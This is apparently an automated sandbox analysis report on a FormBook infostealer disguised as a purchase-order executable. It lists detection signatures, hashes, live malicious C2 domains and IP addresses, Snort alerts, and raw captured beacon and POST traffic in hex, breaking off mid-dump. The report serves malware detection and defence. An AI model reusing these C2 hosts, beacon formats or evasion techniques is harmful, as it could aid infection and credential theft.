Windows Analysis Report
PO Copy_7854569.exe

Overview

General Information

Sample name: PO Copy_7854569.exe
Analysis ID: 1446507
MD5: 1a446464ce98784973a5e7bd13190a5b
SHA1: d4a5f07d3259338ec8ac7c84dc387dd0ea581b6b
SHA256: dcda4d5b1eba2327c178aad5f4237e22934841cd6d7ad116c2cb1622d6e9673b
Tags: exeFormbook
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected AntiVM3
Yara detected FormBook
.NET source code contains potential unpacker
.NET source code contains very large array initializations
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: PO Copy_7854569.exe Avira: detected
Antivirus detection for URL or domain
Source: http://www.xn--bb55rtp-9va2p.store/a42m/?R0nl4=f64p&vH5=SpRmwiWWWie0LiCX9EyQXvy6lxMcCKfTuTRukl4i+K/mOSJ9++mgtoeJyEwnF13dco3p6AsQh3ikhhdZe62TUGOhYKvcqIkBTBlrJzQRtlxjx1oX6jajL6xfb2K92Bka0g== Avira URL Cloud: Label: malware
Source: http://www.ratulunabet78.xyz/a42m/ Avira URL Cloud: Label: malware
Source: http://www.ratulunabet78.xyz Avira URL Cloud: Label: malware
Source: http://www.xn--bb55rtp-9va2p.store/a42m/ Avira URL Cloud: Label: malware
Source: http://www.ratulunabet78.xyz/a42m/?vH5=98dQgeI97PpkPBwDNVDdt2fIP/8t+dN1kUHbH7cCS7ph4DK0k1WK4KE3/58PmNJa+S2FnMy9XFHjKVdPS0wRAwevARZLL3+cVCGRrbGhBpDtYSzj3TCwpxccczld+77x/A==&R0nl4=f64p Avira URL Cloud: Label: malware
Multi AV Scanner detection for submitted file
Source: PO Copy_7854569.exe Virustotal: Detection: 45% Perma Link
Source: PO Copy_7854569.exe ReversingLabs: Detection: 68%
Yara detected FormBook
Source: Yara match File source: 6.2.PO Copy_7854569.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.PO Copy_7854569.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.4439108659.0000000002AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4440623367.00000000045A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.4440475032.0000000003810000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2119855099.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2120310446.00000000014E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4438790270.0000000002810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.4442575534.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2122191823.0000000002E50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: PO Copy_7854569.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: PO Copy_7854569.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: PO Copy_7854569.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: OpnFiles.pdb source: PO Copy_7854569.exe, 00000006.00000002.2120087862.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000003.2528143516.000000000069B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000002.4439886342.0000000000AEE000.00000002.00000001.01000000.0000000C.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000000.2205683578.0000000000AEE000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: wntdll.pdbUGP source: PO Copy_7854569.exe, 00000006.00000002.2120419715.0000000001600000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000008.00000003.2141673668.000000000469F000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000002.4440875262.0000000004850000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000008.00000003.2120507310.00000000044EB000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000002.4440875262.00000000049EE000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: PO Copy_7854569.exe, PO Copy_7854569.exe, 00000006.00000002.2120419715.0000000001600000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, openfiles.exe, 00000008.00000003.2141673668.000000000469F000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000002.4440875262.0000000004850000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000008.00000003.2120507310.00000000044EB000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000008.00000002.4440875262.00000000049EE000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: OpnFiles.pdbGCTL source: PO Copy_7854569.exe, 00000006.00000002.2120087862.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 00000007.00000003.2528143516.000000000069B000.00000004.00000001.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0282B880 FindFirstFileW,FindNextFileW,FindClose, 8_2_0282B880
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 4x nop then jmp 076EAAC2h 0_2_076EAA76
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 4x nop then xor eax, eax 8_2_028194B0

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:53652 -> 103.247.10.164:80
Source: Traffic Snort IDS: 2856318 ETPRO TROJAN FormBook CnC Checkin (POST) M4 192.168.2.5:53654 -> 162.240.81.18:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:53657 -> 162.240.81.18:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:53661 -> 162.0.237.22:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:53665 -> 84.32.84.32:80
Performs DNS queries to domains with low reputation
Source: DNS query: www.crimsoncascade.xyz
Source: DNS query: www.ratulunabet78.xyz
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 162.240.81.18 162.240.81.18
Source: Joe Sandbox View IP Address: 162.0.237.22 162.0.237.22
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
Source: Joe Sandbox View ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View ASN Name: RUMAHWEB-AS-IDRumahwebIndonesiaCVID RUMAHWEB-AS-IDRumahwebIndonesiaCVID
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /a42m/?R0nl4=f64p&vH5=6CH/YRMAK7aydmoZX4rE3aHTO96gtIC3593I/qH1Euv5gdtO1aVIaIsEnNz/XwGPewRjk6ONG4Ys+seqd2cELhY1N+SfeluTEbHos+Hkwv+a06EBMG8yJcZA+l8yWcOKFg== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enHost: www.gregoriusalvin.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic HTTP traffic detected: GET /a42m/?R0nl4=f64p&vH5=BaBbynwG2FaMiw+m+oe/pVgQl9HtQpBnPsDfKOVNrs70A5vduIAG3AN1jPdCIStIA9EjWNWwwUOGmupZW6v0AZj8SPVeonrFiOinbxCwnOWiWMOKy28ccO1L5nk/mSSCeg== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enHost: www.tintasmaiscor.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic HTTP traffic detected: GET /a42m/?vH5=OaCxij+az8CWZkVSgZ9BvYP+nrAHPzHJsZdPmSHU0RFVoK/pLfrBJ2MjeSz+pAxrgiF9enqzkwmMWhrDz0ZQ4sIJ7tOHf1xt78d5/aV4E0eta/TI3w61kMO4VihKAD9uew==&R0nl4=f64p HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enHost: www.crimsoncascade.xyzConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic HTTP traffic detected: GET /a42m/?R0nl4=f64p&vH5=SpRmwiWWWie0LiCX9EyQXvy6lxMcCKfTuTRukl4i+K/mOSJ9++mgtoeJyEwnF13dco3p6AsQh3ikhhdZe62TUGOhYKvcqIkBTBlrJzQRtlxjx1oX6jajL6xfb2K92Bka0g== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enHost: www.xn--bb55rtp-9va2p.storeConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic HTTP traffic detected: GET /a42m/?vH5=TRa47sC0zg9DwlJApIa9TKXT0LmdSyPROaHr8XI2UWJs85O5KJ5vgIdD5G7YtksjxwnhYTkQf9KJFjTFonbd3AHZxsuWNHNjjLjlx6sM8JLXfuIwaQjmht/eByOeQ7cAZg==&R0nl4=f64p HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enHost: www.fidyart.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic HTTP traffic detected: GET /a42m/?R0nl4=f64p&vH5=q82ug4hJ4iMW1QeZ+GCgoJbZS3jVtW+Vvu2ntYvjkNah5D8fKd1XYREKBHF28ngiXJtWR4/9FoDVe0EJ2zKZXh/HzsdFhnk2W05Rc4EGYuWHBokuuF9nEMUprlqBVZ4vog== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enHost: www.leaflearn.storeConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic HTTP traffic detected: GET /a42m/?vH5=vQQIiwhFgpVoGnhhtc2P1VILfyaWtEv7qbiLczs1d6+poiTW6QrgALxDe+CMs+NuEeSHyk/V30WhMaxjncGhKZCgCMKVtFum7SXMM5CUlA+qFcg/x36UpY0MC+LaLW6wHA==&R0nl4=f64p HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enHost: www.p65cq675did.shopConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic HTTP traffic detected: GET /a42m/?R0nl4=f64p&vH5=R4g0iLEn+5Q22eej6WVWFlCYkAtUsHnBzM8NBDsaFSaCgPmb2Z+2OZ+xqOKmenmNERVCqFgQJgmiG9oBky2gZW66+VsZINZo3qt/OX5zYEd5gmWOXPMaopeVLu+bZcefww== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enHost: www.digitoxmarketing.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic HTTP traffic detected: GET /a42m/?R0nl4=f64p&vH5=nLiHY6ZlzAe25GxlmAxaMXLPD/QIkKTmL2k396ng4hoKCGGx5/R6Lgv+VE3CAus50oYKw0M+CtaS1Cqyitq9Qy6dvHCDxXkEGnRvDu59ECZqrIMOmhT00aeob0V7fCoJ5Q== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enHost: www.6whebx.cyouConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic HTTP traffic detected: GET /a42m/?vH5=98dQgeI97PpkPBwDNVDdt2fIP/8t+dN1kUHbH7cCS7ph4DK0k1WK4KE3/58PmNJa+S2FnMy9XFHjKVdPS0wRAwevARZLL3+cVCGRrbGhBpDtYSzj3TCwpxccczld+77x/A==&R0nl4=f64p HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enHost: www.ratulunabet78.xyzConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic DNS traffic detected: DNS query: www.designsbysruly.com
Source: global traffic DNS traffic detected: DNS query: www.weeveno.com
Source: global traffic DNS traffic detected: DNS query: www.gcashservice247.com
Source: global traffic DNS traffic detected: DNS query: www.infomail.website
Source: global traffic DNS traffic detected: DNS query: www.gregoriusalvin.com
Source: global traffic DNS traffic detected: DNS query: www.italiangreyhounds.online
Source: global traffic DNS traffic detected: DNS query: www.tintasmaiscor.com
Source: global traffic DNS traffic detected: DNS query: www.crimsoncascade.xyz
Source: global traffic DNS traffic detected: DNS query: www.xn--bb55rtp-9va2p.store
Source: global traffic DNS traffic detected: DNS query: www.fidyart.com
Source: global traffic DNS traffic detected: DNS query: www.leaflearn.store
Source: global traffic DNS traffic detected: DNS query: www.p65cq675did.shop
Source: global traffic DNS traffic detected: DNS query: www.digitoxmarketing.com
Source: global traffic DNS traffic detected: DNS query: www.transformthedorm.com
Source: global traffic DNS traffic detected: DNS query: www.6whebx.cyou
Source: global traffic DNS traffic detected: DNS query: www.ratulunabet78.xyz
Source: unknown HTTP traffic detected: POST /a42m/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,enAccept-Encoding: gzip, deflate, brHost: www.tintasmaiscor.comOrigin: http://www.tintasmaiscor.comContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0Content-Length: 204Connection: closeReferer: http://www.tintasmaiscor.com/a42m/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36Data Raw: 76 48 35 3d 4d 59 70 37 78 52 45 6f 32 6c 57 6d 71 78 79 72 78 75 79 2f 74 7a 38 76 6e 66 36 74 59 66 78 71 4b 66 65 54 43 2f 42 50 6a 34 76 74 41 36 2f 70 68 76 4d 4a 6f 53 31 44 33 38 56 2f 4d 68 31 58 62 49 63 6f 55 75 32 45 6e 51 62 32 6e 4f 39 65 49 66 4b 49 55 49 2f 36 42 74 55 34 39 6c 62 78 68 64 36 69 5a 6b 76 4b 72 4f 7a 71 56 65 69 4c 2f 33 34 41 55 2f 49 64 33 6b 67 77 73 77 72 77 64 64 31 37 59 38 4e 73 53 56 2b 4d 45 6f 76 65 4c 45 5a 39 5a 62 36 50 55 33 6d 32 70 50 33 54 55 6e 6d 61 7a 32 74 49 74 76 65 2f 2b 72 73 45 67 77 47 38 41 55 4c 59 65 62 61 66 44 6e 2f 36 36 5a 57 52 73 31 38 3d Data Ascii: vH5=MYp7xREo2lWmqxyrxuy/tz8vnf6tYfxqKfeTC/BPj4vtA6/phvMJoS1D38V/Mh1XbIcoUu2EnQb2nO9eIfKIUI/6BtU49lbxhd6iZkvKrOzqVeiL/34AU/Id3kgwswrwdd17Y8NsSV+MEoveLEZ9Zb6PU3m2pP3TUnmaz2tItve/+rsEgwG8AULYebafDn/66ZWRs18=
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Thu, 23 May 2024 13:16:51 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 23 May 2024 13:17:11 GMTContent-Type: text/htmlContent-Length: 3650Connection: closeETag: "636d2d22-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
